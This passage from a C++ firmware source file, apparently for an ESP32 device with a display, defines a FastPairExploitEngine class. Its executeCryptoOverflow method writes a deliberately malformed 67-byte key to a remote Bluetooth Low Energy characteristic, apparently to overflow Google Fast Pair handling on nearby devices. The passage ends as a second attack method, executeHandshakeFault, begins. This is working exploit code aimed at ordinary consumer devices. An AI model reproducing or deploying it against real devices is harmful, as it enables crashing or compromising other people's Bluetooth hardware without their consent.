| 3325 | } |
| 3326 | |
| 3327 | bool FastPairExploitEngine::executeCryptoOverflow(NimBLERemoteCharacteristic *pChar) { |
| 3328 | showAttackProgress("Executing crypto overflow...", TFT_ORANGE); |
| 3329 | |
| 3330 | uint8_t malformedKey[67] = {0}; |
| 3331 | malformedKey[0] = 0x00; |
| 3332 | malformedKey[1] = 0x00; |
| 3333 | malformedKey[2] = 0x04; |
| 3334 | for (int i = 3; i < 67; i++) malformedKey[i] = (i % 2 == 0) ? 0xFF : 0x00; |
| 3335 | |
| 3336 | bool result = pChar->writeValue(malformedKey, sizeof(malformedKey), true); |
| 3337 | delay(100); |
| 3338 | return result; |
| 3339 | } |
| 3340 | |
| 3341 | bool FastPairExploitEngine::executeHandshakeFault(NimBLERemoteCharacteristic *pChar) { |
| 3342 | showAttackProgress("Executing handshake fault...", TFT_CYAN); |
no test coverage detected